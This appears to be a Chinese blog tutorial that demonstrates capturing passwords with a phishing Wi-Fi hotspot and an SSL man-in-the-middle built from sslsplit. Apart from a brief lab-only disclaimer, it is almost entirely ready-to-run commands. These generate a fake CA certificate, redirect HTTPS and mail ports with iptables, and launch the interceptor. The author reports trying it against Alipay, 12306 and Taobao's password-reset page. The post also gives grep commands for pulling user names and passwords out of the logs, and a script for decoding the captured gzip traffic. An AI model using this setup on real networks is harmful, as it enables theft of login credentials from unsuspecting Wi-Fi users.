通过SSL中间人证书和钓鱼WIFI监听密码演示

本文参考:
http://www.freebuf.com/tools/48016.html
http://www.freebuf.com/articles/web/5929.html
声明:本文仅建议在实验环境下使用,读者在其它环境参考本文使用产生的问题由读者承担!
注意:本文的命令如果提示权限问题,请在命令前加sudo

一、本文用到软件和硬件条件

Ubuntu15.04(自带OpenSSL)
360WiFi一代(模拟钓鱼WiFi)
SSLsplit(后文会提到如何安装)
Git(下载SSLStrip源码必备)

二、WiFi热点的建立

笔者使用的是修改/etc/NetworkManager/system-connections/配置文件的方法
参考文章:
http://blog.csdn.net/gsls200808/article/details/39370597
http://blog.csdn.net/gsls200808/article/details/39403215

三、安装sslsplit

1.安装git

apt-get install git


2.下载sslsplit源码
git clone https://github.com/droe/sslsplit.git /opt/sslsplit


3.下载编译sslsplit源码的依赖包libssl-dev,libevent-dev
apt-get install libssl-dev libevent-dev


4.切换到sslsplit目录
cd /opt/sslsplit


5.编译和安装
make
make install


6.查看/检测是否安装成功,帮助命令
sslsplit -h


四、生成中间人的数字证书

1.生成key
openssl genrsa -out ca.key 2048

2.然后自签名用生成的key生成公钥证书:
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

其中COMMON NAME填:Test_SSL_Monitor,其它任意

五、配置流量转发

1.打开端口流量转发,临时打开重启后恢复

sysctl -w net.ipv4.ip_forward=1


2.清除转发规则
iptables -F


3.iptables流量转发
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443


4.查看刚建立的转发规则
iptables -t nat -L


六、启动sslsplit

创建目录以便启动,-S指定的目录为-j指定目录的子目录

rm -rf /opt/sslsplit/test*
mkdir /opt/sslsplit/test1
mkdir /opt/sslsplit/test1/logdir
启动SSLSplit
sslsplit -D -l connect.log -j /opt/sslsplit/test1 -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080


七、劫持实验

1.客户端登陆劫持尝试
支付宝安卓客户端:失败 有客户端证书失败的提示 原因:支付宝采用客户端和服务器段证书双向校验
12306安卓客户端:成功 无证书提示 但是密码都是经过加密的

2.网页劫持尝试
淘宝重置密码界面:成功 有证书提示 密码可直接获取,密码位于Cookie的_tb_token_的_fm-pa-_0-n和_fm-pa-_0-c值


八、还原操作

1.关闭SSLSplit
Ctrl+C
如果一不小心把终端关了可以杀进程,如下
ps -aux|grep ssl
kill pid


2.清除建立的转发规则
iptables -t nat -F


3.重新设置Wifi热点
笔者是断开重连





九、实用命令

1.在日志文件中搜索用户名密码
cd /opt/sslsplit/test1/logdir
ls -al
cat 20151005T010002Z-[10.42.0.207]:40281-[202.108.23.188]:443.log #这句自行替换
cd /opt/sslsplit/test1/logdir
find -name "*.log" |xargs grep user
find -name "*.log" |xargs grep password
find -name "*.log" |xargs grep login
find -name "*.log" |xargs grep 自己的用户名或者密码


2.拷贝日志目录到自己的目录并修改权限
mkdir ~/temp
cp -rf /opt/sslsplit/test1/logdir ~/temp
cd ~/temp
chmod 777 logdir
cd logdir
chmod 777 *.log


十、乱码解决

一般是gzip压缩后的结果,下面是python代码

# -*- coding: UTF-8 -*-  
import StringIO
import gzip


file = open('/home/hadoop/temp/test.log','rb')
try:
     text = file.read( )
     print text

     #print all_the_text.split('\r\n\r\n')
     #print all_the_text.split('\r\n\r\n')[4]
     #print all_the_text.split('\r\n\r\n')[-2].split('6f4\r\n')[1].split('\r\n')
     #\x1f\x8b\x08\x00开头是gzip压缩后的数据
     #大段落分割用的是'\r\n\r\n'
     #开头6f4\r\n\x1f\x8b\x08\x00
     #结束\x00\x00\r\n0
     #需要截取的范围x1f\x8b\x08\x00~\x00\x00


     cpdata = text.split('\r\n\r\n')[-2].split('6f4\r\n')[1].split('\r\n')[0]
     cpstream = StringIO.StringIO(cpdata)
     g = gzip.GzipFile(fileobj=cpstream)
     data = g.read()
     print data
finally:
     file.close( )



  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值